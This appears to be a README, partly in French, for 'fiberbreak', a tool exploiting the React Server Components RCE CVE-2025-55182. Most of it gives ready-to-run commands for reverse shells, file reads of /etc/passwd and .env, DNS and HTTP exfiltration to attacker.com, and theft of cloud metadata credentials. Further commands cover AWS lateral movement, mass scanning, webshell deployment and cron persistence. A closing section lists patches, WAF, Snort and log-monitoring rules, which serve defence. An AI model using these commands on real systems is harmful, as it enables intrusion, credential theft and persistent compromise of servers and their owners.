
Outil d'exploitation React2Shell (CVE-2025-55182)
Cadre d'exploitation pour CVE-2025-55182 (React2Shell) – Vulnérabilité critique d'exécution de code à distance dans React Server Components.
# Clone repository
git clone https://github.com/scumfrog/fiberbreak
cd fiberbreak
# Install dependencies
pip install -r requirements.txt
# Make executable
chmod +x fiberbreak.py
# Build vulnerable testing environment
docker-compose up -d
# Wait for startup
sleep 20
# Test detection
./fiberbreak.py -u http://localhost:3000 detect
# Execute RCE
./fiberbreak.py -u http://localhost:3000 exploit -c "whoami"
# Verify
docker exec react2shell-lab ls -la /tmp/
CVE-2025-55182 est une vulnérabilité critique d'exécution de code à distance dans React Server Components (RSC) qui permet à des attaquants non authentifiés d'exécuter du code arbitraire sur le serveur.
Cause racine : Le protocole React Flight désérialise les entrées client non fiables sans validation appropriée, permettant aux attaquants de créer des charges utiles malveillantes qui abusent de la chaîne de prototypes de JavaScript et du constructeur Function.
Vecteur d'attaque : Les attaquants envoient une requête POST multipart/form-data forgée avec un en-tête Next-Action à n'importe quel point de terminaison RSC. La charge utile malveillante exploite :
__proto__constructor:constructor1. Attaquant envoie une requête POST forgée
└─ multipart/form-data avec JSON malveillant
└─ En-tête Next-Action (n'importe quelle valeur)
2. Le serveur désérialise la charge utile
└─ React traite le format de chunk RSC
└─ Résout l'objet de type Promise
3. La chaîne de gadgets se déclenche
└─ L'accès __proto__ contourne les vérifications hasOwnProperty
└─ constructor:constructor expose Function()
└─ _prefix exécute du code arbitraire
4. RCE obtenue
└─ Le serveur exécute le JavaScript de l'attaquant
└─ Compromission totale du système
{
"then": "$1:__proto__:then", // Prototype pollution
"status": "resolved_model", // Fake React internal state
"reason": -1, // Trigger resolution
"value": '{"then":"$B1337"}', // Blob reference
"_response": {
"_prefix": "MALICIOUS_CODE_HERE;", // Executed code
"_formData": {
"get": "$1:constructor:constructor" // Function() access
}
}
}
// react-server-dom-webpack/src/ReactFlightClient.js
function resolveModelChunk(chunk) {
const value = JSON.parse(chunk.value);
// Missing validation here allows malicious chunks
if (value && typeof value.then === 'function') {
// Attacker controls 'then' method
value.then(/* ... */);
}
}
# Single target detection
./fiberbreak.py -u https://target.com detect
# Multiple targets from file
./fiberbreak.py -l targets.txt detect --threads 20
# Save results to JSON
./fiberbreak.py -l targets.txt detect -o results.json
# Disable SSL verification
./fiberbreak.py -u https://target.com detect --no-verify-ssl
# Simple blind command execution
./fiberbreak.py -u https://target.com exploit -c "whoami"
# Write file to disk
./fiberbreak.py -u https://target.com exploit \
-c "/tmp/pwned.txt:HACKED" -t write_file
# Read file contents
./fiberbreak.py -u https://target.com exploit \
-c "/etc/passwd:https://attacker.com" -t file_read
# Reverse shell
./fiberbreak.py -u https://target.com exploit \
-c "10.10.10.10:4444" -t reverse_shell
# DNS exfiltration (stealthy, no HTTP traffic)
./fiberbreak.py -u https://target.com exploit \
-c "whoami:attacker.oastify.com" -t dns_exfil
# HTTP exfiltration with output
./fiberbreak.py -u https://target.com exploit \
-c "id:https://attacker.com/exfil" -t http_exfil
# Environment variable dump
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/env" -t env_dump
# System reconnaissance
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/recon" -t recon
# Stealth DNS beacon (no command output)
./fiberbreak.py -u https://target.com exploit \
-c "attacker.oastify.com" -t stealth_beacon
# Auto-detect cloud provider and extract credentials
# Supports: AWS, GCP, Azure, DigitalOcean, Oracle Cloud, Alibaba Cloud
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/cloud" -t cloud_metadata
# 1. Détection furtive avec balise DNS
./fiberbreak.py -u https://target.com exploit \
-c "recon.yourburp.oastify.com" -t stealth_beacon
# 2. Si vulnérable, extraction de données sensibles
./fiberbreak.py -u https://target.com exploit \
-c "https://yourserver.com/exfil" -t env_dump
# 3. Vérification de l'environnement cloud
./fiberbreak.py -u https://target.com exploit \
-c "https://yourserver.com/cloud" -t cloud_metadata
# 4. Documenter les résultats sans causer de dommages
# Phase 1 : Détection
./fiberbreak.py -u https://target.com detect -o detection.json
# Phase 2 : Vérification
./fiberbreak.py -u https://target.com exploit \
-c "/tmp/pentest_proof.txt:PENTEST_$(date +%s)" -t write_file
# Phase 3 : Évaluation d'impact
./fiberbreak.py -u https://target.com exploit \
-c "https://pentest-server.com/impact" -t recon
# Phase 4 : Extraction d'identifiants (si cloud)
./fiberbreak.py -u https://target.com exploit \
-c "https://pentest-server.com/creds" -t cloud_metadata
# Phase 5 : Accès interactif (si autorisé)
# Terminal 1 : Démarrer un listener
nc -lvnp 4444
# Terminal 2 : Obtenir un shell
./fiberbreak.py -u https://target.com exploit \
-c "YOUR_IP:4444" -t reverse_shell
# Create target list
cat > targets.txt << EOF
https://app1.company.com
https://app2.company.com
https://app3.company.com
https://api.company.com
EOF
# Scan all targets in parallel
./fiberbreak.py -l targets.txt detect --threads 50 -o scan_results.json
# Filter vulnerable targets
cat scan_results.json | jq '.[] | select(.vulnerable==true) | .url'
# Generate report
cat scan_results.json | jq '{
total: length,
vulnerable: [.[] | select(.vulnerable==true)] | length,
targets: [.[] | select(.vulnerable==true) | .url]
}'
# AWS EC2 Instance
./fiberbreak.py -u https://aws-app.com exploit \
-c "https://attacker.com/aws" -t cloud_metadata
# Callback receives:
# - Instance ID, region, availability zone
# - IAM role name
# - Temporary AWS credentials (AccessKeyId, SecretAccessKey, Token)
# - User data
# - Network configuration
# GCP Compute Engine
./fiberbreak.py -u https://gcp-app.com exploit \
-c "https://attacker.com/gcp" -t cloud_metadata
# Callback receives:
# - Project ID, instance name, zone
# - Service account email
# - OAuth2 access token
# - Available scopes
# Azure Virtual Machine
./fiberbreak.py -u https://azure-app.com exploit \
-c "https://attacker.com/azure" -t cloud_metadata
# Callback receives:
# - Instance metadata
# - Managed identity OAuth2 token
# - Subscription information
# Create unique marker file
MARKER="pwned_$(date +%s)"
./fiberbreak.py -u https://target.com exploit \
-c "/tmp/${MARKER}:proof" -t write_file
# Verify via timing attack or out-of-band
./fiberbreak.py -u https://target.com exploit \
-c "curl https://attacker.com/${MARKER}" -t simple
# Step 1: Enumerate files
./fiberbreak.py -u https://target.com exploit \
-c "find /app -type f -name '*.env':https://attacker.com/files" -t http_exfil
# Step 2: Extract configuration
./fiberbreak.py -u https://target.com exploit \
-c "/app/.env:https://attacker.com/config" -t file_read
# Step 3: Extract database credentials
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/env" -t env_dump
# Extract AWS credentials
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/aws" -t cloud_metadata
# Use extracted credentials for lateral movement
export AWS_ACCESS_KEY_ID=""
export AWS_SECRET_ACCESS_KEY=""
export AWS_SESSION_TOKEN=""
# Enumerate resources
aws s3 ls
aws ec2 describe-instances
aws rds describe-db-instances
# Update React
npm install [email protected] [email protected]
# Update Next.js
npm install [email protected] # or [email protected]+
# Verify versions
npm list react react-dom next
nginx
# Block requests with Next-Action header
if ($http_next_action) {
return 403;
}
# Rate limit RSC endpoints
limit_req_zone $binary_remote_addr zone=rsc:10m rate=10r/s;
location / {
limit_req zone=rsc burst=20;
}
Apache (ModSecurity)
# Detect Next-Action header
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
"id:2025551820,\
phase:2,\
deny,\
status:403,\
log,\
msg:'CVE-2025-55182 exploitation attempt detected'"
# Detect malicious RSC payloads
SecRule REQUEST_BODY "@rx (__proto__|constructor|prototype)" \
"id:2025551821,\
phase:2,\
deny,\
status:403,\
log,\
msg:'Malicious RSC payload detected'"
Cloudflare WAF
// Custom rule
(http.request.headers["next-action"] ne "") or
(http.request.body.raw contains "__proto__") or
(http.request.body.raw contains "constructor:constructor")
# Snort/Suricata rule
alert tcp any any -> any any (
msg:"CVE-2025-55182 React2Shell exploitation attempt";
flow:to_server,established;
content:"Next-Action"; http_header;
content:"__proto__"; http_client_body;
sid:2025551820;
rev:1;
)
// Next.js middleware
export function middleware(request) {
// Block requests with Next-Action header from untrusted sources
if (request.headers.get('next-action')) {
// Validate origin
const origin = request.headers.get('origin');
const allowedOrigins = ['https://yourdomain.com'];
if (!allowedOrigins.includes(origin)) {
return new Response('Forbidden', { status: 403 });
}
}
return NextResponse.next();
}
export const config = {
matcher: '/:path*',
};
# Monitor for exploitation attempts in logs
grep -r "Next-Action" /var/log/nginx/access.log
grep -r "__proto__" /var/log/nginx/access.log
# Alert on suspicious patterns
tail -f /var/log/nginx/access.log | grep -E "(Next-Action|__proto__|constructor:constructor)" | \
while read line; do
echo "[ALERT] Potential CVE-2025-55182 exploitation: $line"
# Send to SIEM/alerting system
done
POUR USAGE ÉDUCATIF ET TESTS DE SÉCURITÉ AUTORISÉS UNIQUEMENT
Toute utilisation non autorisée est interdite. Voir LICENSE pour plus de détails.
| Type | Format | Description | Sortie |
|---|
simple | command | Exécute n'importe quelle commande shell | Aveugle |
output | command + --callback | Exécute avec rappel HTTP | Oui |
reverse_shell | lhost:lport | Reverse shell Bash | Interactive |
dns_exfil | cmd:domain ou domain | Exfiltration DNS | Journaux DNS |
http_exfil | cmd:callback_url | Exfiltration HTTP | POST HTTP |
file_read | filepath:callback | Lit et exfiltre un fichier | POST HTTP |
write_file | filepath:content | Écrit un fichier sur le disque | Aveugle |
env_dump | callback_url | Décharge les variables d'environnement | POST HTTP |
cloud_metadata | callback_url | Extrait les identifiants cloud | POST HTTP |
recon | callback_url | Reconnaissance système | POST HTTP |
stealth_beacon | domain | Balise DNS | Journaux DNS |
webshell | filepath | Déploie une webshell Node.js | Port 8080 |
persist | callback_url | Installe une persistance cron | Tâche cron |